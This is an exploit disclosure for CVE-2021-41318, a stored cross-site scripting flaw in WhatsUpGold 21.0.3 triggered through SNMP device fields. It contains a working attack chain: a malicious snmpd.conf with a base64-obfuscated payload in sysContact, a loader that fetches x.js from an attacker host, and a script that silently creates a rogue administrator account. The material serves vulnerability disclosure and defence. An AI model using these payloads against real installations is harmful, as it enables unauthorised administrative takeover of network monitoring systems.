WhatsUpGold 21.0.3 – Stored Cross-Site Scripting (XSS)
# Exploit Title: WhatsUpGold 21.0.3 - Stored Cross-Site Scripting (XSS) # Date: 09.17.2021 # Exploit Author: Andreas Finstad (4ndr34z) # Vendor Homepage: https://www.whatsupgold.com # Version: v.21.0.3, Build 188 # Tested on: Windows 2019 Server # CVE : CVE-2021-41318 # Reference: https://f20.be/cves/poc-cve-2021-41318 Description: Improper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks. Placing a XSS payload in one of the fields reflected onto the application, triggers the exploitation. No CSRF protection/token on adding/posting a new user account, makes it possible to create a rouge administrator, using a staged javascript delivered through the XSS. SNMP A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload: # snmpd.conf # An example configuration file for configuring the Net-SNMP agent ('snmpd') # See snmpd.conf(5) man page for details ############################################################################ # SECTION: System Information Setup # syslocation: The [typically physical] location of the system. # Note that setting this value here means that when trying to # perform an snmp SET operation to the sysLocation.0 variable will make # the agent return the "notWritable" error code. IE, including # this token in the snmpd.conf file will disable write access to # the variable. # arguments: location_string sysName Evil-Device sysLocation Somewhere Over The Rainbow sysContact <img id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHA6Ly8xOTIuMTY4LjY2LjQ2L3guanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 src=x onerror=eval(atob(this.id))> This is the base64 encoded string: var a=document.createElement("script");a.src="http://192.168.66.46/x.js";document.body.appendChild(a); x.js: var vhost = window.location.protocol+'\/\/'+window.location.host var username = "sysadmin" var password = "me" fetch(vhost+'/NmConsole/api/core/WebUser',{ method: 'POST', headers: { 'Content-Length': '479', 'Accept': 'application/json', 'X-Requested-With': 'XMLHttpRequest', 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51', 'Content-Type': 'application/json', 'Origin': vhost, 'Referer': vhost+'/NmConsole/', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'nb,no;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,sv;q=0.5,fr;q=0.4', 'Connection': 'close' }, credentials: 'include', body: '{"HomeDeviceGroupID":0,"HomeDeviceGroupPath":"My Network","LanguageID":1033,"UserRightsMask":"0","IsDgarConfigured":false,"Groups" [1],"WebUserID":-1,"UserName":"'+username+'","AuthenticationType":1,"ApplyWebUiSessionTimeout":true,"ApplyLockoutPolicy":false,"ApplyPasswordAging":false,"ApplyPasswordComplexity":false,"ApplySessionPolicy":false,"FailedLoginCount":0,"IsLocked":false,"Password":"'+password+'","UnlockUser":false,"WebConfigurationSettings":"","id":"Wug.model.userManagement.WebUser-2"}' }); |